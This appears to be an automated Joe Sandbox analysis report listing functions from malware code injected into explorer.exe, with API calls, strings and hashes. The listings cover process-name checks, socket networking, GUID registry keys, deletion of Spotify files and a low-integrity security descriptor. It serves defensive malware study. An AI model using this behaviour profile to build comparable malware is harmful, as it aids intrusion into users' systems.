Opcode ID: 899e22331facbcdfbf37d5bf2fdf3218fac895a1e0c2bb22c5d9f5c6331109ac
Instruction ID: 466084487701c7a857861851c8c3c6fd41e32172d7b3f41fb7b0fe3a6031ad3f
Opcode Fuzzy Hash: 899e22331facbcdfbf37d5bf2fdf3218fac895a1e0c2bb22c5d9f5c6331109ac
Instruction Fuzzy Hash: 25312A35208A4596EB18DF19F8847DA77B0F785798F50012AEB9E83B68DF7DC54ACB00

Function 01199D70 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 57
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNEL32 ref: 01199D7E
LocalAlloc.KERNEL32 ref: 01199D9F
LocalAlloc.KERNEL32 ref: 01199DC0
GetModuleFileNameW.KERNEL32 ref: 01199DE4
GetSystemDirectoryW.KERNEL32 ref: 01199DF8

Part of subcall function 011B84A8: _errno.LIBCMT ref: 011B84DF
Part of subcall function 011B84A8: _invalid_parameter_noinfo.LIBCMT ref: 011B84EA

lstrcmpiW.KERNEL32 ref: 01199E27
LocalFree.KERNEL32 ref: 01199E36
LocalFree.KERNEL32 ref: 01199E41
LocalFree.KERNEL32 ref: 01199E4C
LocalFree.KERNELBASE ref: 01199E5E
LocalFree.KERNEL32 ref: 01199E69
LocalFree.KERNEL32 ref: 01199E74

Strings

%s\svchost.exe, xrefs: 01199E07

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$DirectoryFileModuleNameSystem_errno_invalid_parameter_noinfolstrcmpi
String ID: %s\svchost.exe
API String ID: 3414592467-1955667316
Opcode ID: e58c8e807cef45b58eb412dc696d3ca7086278a892d9b9d0cc68856432e9e4b3
Instruction ID: 0cb0ccca386293e5d08132085dd7e6989bb66359d8357ec021db90d7b5a1d6bd
Opcode Fuzzy Hash: e58c8e807cef45b58eb412dc696d3ca7086278a892d9b9d0cc68856432e9e4b3
Instruction Fuzzy Hash: C621FA35254A5582EB389B15E8943EA6361FBC8BA9F000135EB8E47B78CF3CC599CB40

Function 01199C50 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 57
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNEL32 ref: 01199C5E
LocalAlloc.KERNEL32 ref: 01199C7F
LocalAlloc.KERNEL32 ref: 01199CA0
GetModuleFileNameW.KERNEL32 ref: 01199CC4
GetWindowsDirectoryW.KERNEL32 ref: 01199CD8

Part of subcall function 011B84A8: _errno.LIBCMT ref: 011B84DF
Part of subcall function 011B84A8: _invalid_parameter_noinfo.LIBCMT ref: 011B84EA

lstrcmpiW.KERNEL32 ref: 01199D07
LocalFree.KERNELBASE ref: 01199D16
LocalFree.KERNEL32 ref: 01199D21
LocalFree.KERNEL32 ref: 01199D2C
LocalFree.KERNEL32 ref: 01199D3E
LocalFree.KERNEL32 ref: 01199D49
LocalFree.KERNEL32 ref: 01199D54

Strings

%s\explorer.exe, xrefs: 01199CE7

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$DirectoryFileModuleNameWindows_errno_invalid_parameter_noinfolstrcmpi
String ID: %s\explorer.exe
API String ID: 3179574994-2893622748
Opcode ID: 428531350e7e704850b3dc85deda95e0abcba54834e33c1fd42cb07a9522b708
Instruction ID: 812eea76976b40c98fa62d3ca793359f62c7caaa098d3c666bc29e95fffa8eea
Opcode Fuzzy Hash: 428531350e7e704850b3dc85deda95e0abcba54834e33c1fd42cb07a9522b708
Instruction Fuzzy Hash: DC21FC35254A5182EB389F15F8947AA67A1FBC8B99F040135EB8E47B78CF3CC599CB40

Function 011B52E0 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 255
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32 ref: 011B531D

Part of subcall function 011B58E0: CoInitializeEx.COMBASE ref: 011B590A
Part of subcall function 011B58E0: CoCreateGuid.COMBASE ref: 011B591D
Part of subcall function 011B58E0: StringFromGUID2.COMBASE ref: 011B593B
Part of subcall function 011B58E0: wsprintfA.USER32 ref: 011B595D
Part of subcall function 011B58E0: LocalAlloc.KERNEL32 ref: 011B596D
Part of subcall function 011B58E0: und_memcpy.LIBCMTD ref: 011B59E4
Part of subcall function 011B58E0: LocalFree.KERNEL32 ref: 011B59F1
Part of subcall function 011B58E0: CoUninitialize.COMBASE ref: 011B59F7

setsockopt.WS2_32 ref: 011B541C
LocalFree.KERNEL32 ref: 011B58A2

Part of subcall function 011B4870: Concurrency::details::platform::__ChangeTimerQueueTimer.LIBCMTD ref: 011B48AF

Part of subcall function 011B5AD0: LocalAlloc.KERNEL32 ref: 011B5AE1
Part of subcall function 011B5AD0: LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,011B56ED), ref: 011B5AFF
Part of subcall function 011B5AD0: LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,011B56ED), ref: 011B5B17

Part of subcall function 011B4DC0: WSACreateEvent.WS2_32 ref: 011B4E59

LocalFree.KERNEL32 ref: 011B5894

Part of subcall function 011B4870: WSACreateEvent.WS2_32 ref: 011B4909

CreateEventW.KERNEL32 ref: 011B5810
WSAEventSelect.WS2_32 ref: 011B583F
und_memcpy.LIBCMTD ref: 011B586F
CloseHandle.KERNEL32 ref: 011B5886
shutdown.WS2_32 ref: 011B58B5
closesocket.WS2_32 ref: 011B58C3

Part of subcall function 011B5CE0: LocalAlloc.KERNEL32 ref: 011B5CF1
Part of subcall function 011B5CE0: lstrcpyW.KERNEL32 ref: 011B5D35
Part of subcall function 011B5CE0: GetModuleFileNameW.KERNEL32 ref: 011B5D55
Part of subcall function 011B5CE0: LocalFree.KERNEL32 ref: 011B5D64

Part of subcall function 011B4DC0: Concurrency::details::platform::__ChangeTimerQueueTimer.LIBCMTD ref: 011B4DFF

Strings

8, xrefs: 011B5437

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Local$Free$CreateEventTimer$Alloc$ChangeConcurrency::details::platform::__Queueund_memcpy$CloseFileFromGuidHandleInitializeLibraryLoadModuleNameSelectStringUninitializeclosesocketlstrcpylstrlensetsockoptshutdownwsprintf
String ID: 8
API String ID: 1160820747-4194326291
Opcode ID: 703cba8a721852ba4601ddda7d12de819128d615945ba6f413280689a9c86afc
Instruction ID: 7a4c6c8bb79ed7c3ac405d7ca4895bc07be70aeea830a29dacbf934292ff2ab0
Opcode Fuzzy Hash: 703cba8a721852ba4601ddda7d12de819128d615945ba6f413280689a9c86afc
Instruction Fuzzy Hash: 0BD1B176218BC08AE7B59B15E4843CAB7A5F389798F804526EB8D47B68DF7CC194CF40

Function 011A79F0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 63
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 011A79FE
RegisterClassW.USER32 ref: 011A7A4C
GetLastError.KERNEL32 ref: 011A7A60
CreateWindowExW.USER32 ref: 011A7ACB
GetMessageW.USER32 ref: 011A7AF7
TranslateMessage.USER32 ref: 011A7B09
DispatchMessageW.USER32 ref: 011A7B17
DestroyWindow.USER32 ref: 011A7B26
UnregisterClassW.USER32 ref: 011A7B41

Strings

{AD5A477B-A974-48CA-8A4F-BBC77609C010}, xrefs: 011A7A29, 011A7AC2, 011A7B3A

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Message$ClassWindow$CreateDestroyDispatchErrorHandleLastModuleRegisterTranslateUnregister
String ID: {AD5A477B-A974-48CA-8A4F-BBC77609C010}
API String ID: 1237952354-284598728
Opcode ID: ad3a778cf11879ea102bad5402e918288342321862edad1c1d477f0e84bd2696
Instruction ID: f8a928655c81b3a587ab9a15a34a46635d5b99fd7def89f26e2d015ac9a31d67
Opcode Fuzzy Hash: ad3a778cf11879ea102bad5402e918288342321862edad1c1d477f0e84bd2696
Instruction Fuzzy Hash: 27310D75214B89C2E768AF14F8947DA77B1F784758F90113AE78A46AB4DF3DC14ACB00

Function 011B4870 Relevance: 16.7, APIs: 11, Instructions: 234timeCOMMON

Download Yara Rule

APIs

Concurrency::details::platform::__ChangeTimerQueueTimer.LIBCMTD ref: 011B48AF

Part of subcall function 011B34A0: recv.WS2_32 ref: 011B34CC

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Timer$ChangeConcurrency::details::platform::__Queuerecv
String ID:
API String ID: 2709879575-0
Opcode ID: ee436ca40872bfd55d0d14185852ad7327cbddb359225007291187d638ed94ef
Instruction ID: 0268fe61e2eaeb776dddabe2483bf0e95f7eb3cff9f203f324b914d1eae218f5
Opcode Fuzzy Hash: ee436ca40872bfd55d0d14185852ad7327cbddb359225007291187d638ed94ef
Instruction Fuzzy Hash: BBC1C476208BC0CAE779CF19E4947EAB7A1F788744F01811AD78A87B59DB79C485CF02

Function 01199070 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 96COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32 ref: 0119909E
GetWindowsDirectoryW.KERNEL32 ref: 011990D7
GetSystemDirectoryW.KERNEL32 ref: 01199110

Part of subcall function 011B84A8: _errno.LIBCMT ref: 011B84DF
Part of subcall function 011B84A8: _invalid_parameter_noinfo.LIBCMT ref: 011B84EA

StrCmpIW.SHLWAPI ref: 011991E8
StrCmpIW.SHLWAPI ref: 011991FF
StrCmpIW.SHLWAPI ref: 01199216

Strings

%s\cmd.exe, xrefs: 011991C2
%s\explorer.exe, xrefs: 01199144
%s\svchost.exe, xrefs: 01199183

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Directory$FileModuleNameSystemWindows_errno_invalid_parameter_noinfo
String ID: %s\cmd.exe$%s\explorer.exe$%s\svchost.exe
API String ID: 4125122012-2596767422
Opcode ID: 0ce3380aaa9718ec791bb1e918982070712ec6b03a28ba819b3a061c451fb4e7
Instruction ID: 0bf7544119ed1cffb4d12e36df33df38d4f1396b9210896813c72b2c9b6937db
Opcode Fuzzy Hash: 0ce3380aaa9718ec791bb1e918982070712ec6b03a28ba819b3a061c451fb4e7
Instruction Fuzzy Hash: 4F411D21314AC992DB74DB24E8943DB63A6F788744F804536879DC3A68EF3DC619CB41

Function 0119F510 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78stringmemoryCOMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32 ref: 0119F587
lstrlenW.KERNEL32 ref: 0119F59A
lstrlenW.KERNEL32 ref: 0119F5B5
LocalAlloc.KERNEL32 ref: 0119F5DC
CoTaskMemFree.COMBASE ref: 0119F647

Part of subcall function 011B84A8: _errno.LIBCMT ref: 011B84DF
Part of subcall function 011B84A8: _invalid_parameter_noinfo.LIBCMT ref: 011B84EA

lstrlenW.KERNEL32 ref: 0119F620
CoTaskMemFree.COMBASE ref: 0119F635

Strings

%s\%s\, xrefs: 0119F605

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: lstrlen$FreeTask$AllocFolderKnownLocalPath_errno_invalid_parameter_noinfo
String ID: %s\%s\
API String ID: 2748012262-2168696002
Opcode ID: c67f25852d0db48f00a9db175582164c04bb3a1d8cde8ffb0c1091e28077b100
Instruction ID: ead09d3de8cec1818f7ff58e222884efa6b697635b6bdddc79aa94e2dcf1aefb
Opcode Fuzzy Hash: c67f25852d0db48f00a9db175582164c04bb3a1d8cde8ffb0c1091e28077b100
Instruction Fuzzy Hash: BB310D32218A8586DB54DB29F89439AB7B1F7C9B94F544025EB8E83B68DF7CC546CB00

Function 0119FA60 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 64fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0119F510: SHGetKnownFolderPath.SHELL32 ref: 0119F587
Part of subcall function 0119F510: lstrlenW.KERNEL32 ref: 0119F59A
Part of subcall function 0119F510: lstrlenW.KERNEL32 ref: 0119F5B5
Part of subcall function 0119F510: LocalAlloc.KERNEL32 ref: 0119F5DC
Part of subcall function 0119F510: lstrlenW.KERNEL32 ref: 0119F620
Part of subcall function 0119F510: CoTaskMemFree.COMBASE ref: 0119F635

GetFileAttributesW.KERNEL32 ref: 0119FB60

Part of subcall function 011B84A8: _errno.LIBCMT ref: 011B84DF
Part of subcall function 011B84A8: _invalid_parameter_noinfo.LIBCMT ref: 011B84EA

DeleteFileW.KERNEL32 ref: 0119FB1A
RemoveDirectoryW.KERNEL32 ref: 0119FB2D
LocalFree.KERNEL32 ref: 0119FB40
LocalFree.KERNEL32 ref: 0119FB55
GetFileAttributesW.KERNEL32 ref: 0119FB77

Strings

%s%s, xrefs: 0119FAFF
Spotify.exe, xrefs: 0119FAEB

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: FileFreeLocallstrlen$Attributes$AllocDeleteDirectoryFolderKnownPathRemoveTask_errno_invalid_parameter_noinfo
String ID: %s%s$Spotify.exe
API String ID: 2317434139-2674492433
Opcode ID: 914aa335a63efcf3c90bc4a69d0561e7c4bba87e2c4adeacd6fcf01560c629b6
Instruction ID: 35a4c94e9e942725b94b987da1bfadf850de7274a8caa33e0eb549a3286df679
Opcode Fuzzy Hash: 914aa335a63efcf3c90bc4a69d0561e7c4bba87e2c4adeacd6fcf01560c629b6
Instruction Fuzzy Hash: EB21103122498591DB68DF24E8983DA6761F7C4B54F800626D76EC36B8EF3CC98ACB00

Function 011B58E0 Relevance: 13.6, APIs: 9, Instructions: 57memoryCOMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE ref: 011B590A
CoCreateGuid.COMBASE ref: 011B591D
StringFromGUID2.COMBASE ref: 011B593B
wsprintfA.USER32 ref: 011B595D
LocalAlloc.KERNEL32 ref: 011B596D
und_memcpy.LIBCMTD ref: 011B59E4
LocalFree.KERNEL32 ref: 011B59F1
CoUninitialize.COMBASE ref: 011B59F7
CoUninitialize.COMBASE ref: 011B5A04

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: LocalUninitialize$AllocCreateFreeFromGuidInitializeStringund_memcpywsprintf
String ID:
API String ID: 3539965953-0
Opcode ID: f1b201f5a9eed3eaf9a523d0c2121b2386c6f2c61ced3d45e5eb14289178c037
Instruction ID: 65d8ca4ee74c4bd1f93ae21fb54599b0eb953cf0445968927151326beaadf6d4
Opcode Fuzzy Hash: f1b201f5a9eed3eaf9a523d0c2121b2386c6f2c61ced3d45e5eb14289178c037
Instruction Fuzzy Hash: 00210E72324BC582DB78EF25E8943DE6361F7C5B84F844429D68A87A64DF3CC149CB40

Function 011952C0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 48registryCOMMON

Download Yara Rule

APIs

Part of subcall function 011B84A8: _errno.LIBCMT ref: 011B84DF
Part of subcall function 011B84A8: _invalid_parameter_noinfo.LIBCMT ref: 011B84EA

RegCreateKeyExW.KERNEL32 ref: 01195340
RegSetValueExW.KERNEL32 ref: 01195374
RegCloseKey.ADVAPI32 ref: 01195383
RegCloseKey.ADVAPI32 ref: 01195395

Strings

?, xrefs: 0119531E
SOFTWARE\%s, xrefs: 011952EC
{2046C745-B848-47EE-8068-B039EAC15A1C}, xrefs: 011952E5, 01195368

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Close$CreateValue_errno_invalid_parameter_noinfo
String ID: ?$SOFTWARE\%s${2046C745-B848-47EE-8068-B039EAC15A1C}
API String ID: 3235468379-835248637
Opcode ID: 40145f79fe73d992d313a2094e33a8d981a89d509cec35542f6e7a0e3b56c4a9
Instruction ID: 01bf905eb8a07c7fda5b08a858bcbe7e3c9a5f44cea9cddfcd0f9ff9b16143b0
Opcode Fuzzy Hash: 40145f79fe73d992d313a2094e33a8d981a89d509cec35542f6e7a0e3b56c4a9
Instruction Fuzzy Hash: 67214C32218B84C2E754DF65F8987DAB7A5F784798F800126EA8E43B68DFBCC145CB04

Function 0119F790 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 39memorystringCOMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32(?,?,?,?,?,?,?,?,011A6834), ref: 0119F7AF
LocalAlloc.KERNEL32(?,?,?,?,?,?,?,?,011A6834), ref: 0119F7C3
wnsprintfW.SHLWAPI ref: 0119F7FC
lstrlenW.KERNEL32 ref: 0119F80B
CoTaskMemFree.COMBASE ref: 0119F81D
CoTaskMemFree.COMBASE ref: 0119F82F

Strings

%s\%s, xrefs: 0119F7EB

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: FreeTask$AllocFolderKnownLocalPathlstrlenwnsprintf
String ID: %s\%s
API String ID: 1665550476-4073750446
Opcode ID: 7be9eb387fcb5a12c99e2256ef6ef75da49a5be100ce487a794dec0c98c24ef7
Instruction ID: 7d4144c904f0c7a3fbb6a7e7639eac77baa333434cda02fcbbe2783cd644d09e
Opcode Fuzzy Hash: 7be9eb387fcb5a12c99e2256ef6ef75da49a5be100ce487a794dec0c98c24ef7
Instruction Fuzzy Hash: 01111C31628A9582E7489F15E8547DA77A0FBC4B98F405025FA8F86A38DF7CC046CB00

Function 011AE3B0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 011AE3F7
GetSecurityDescriptorSacl.ADVAPI32 ref: 011AE415
SetNamedSecurityInfoW.ADVAPI32 ref: 011AE44E
LocalFree.KERNEL32 ref: 011AE45D

Strings

S:(ML;;NW;;;LW), xrefs: 011AE3F0

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Security$Descriptor$ConvertFreeInfoLocalNamedSaclString
String ID: S:(ML;;NW;;;LW)
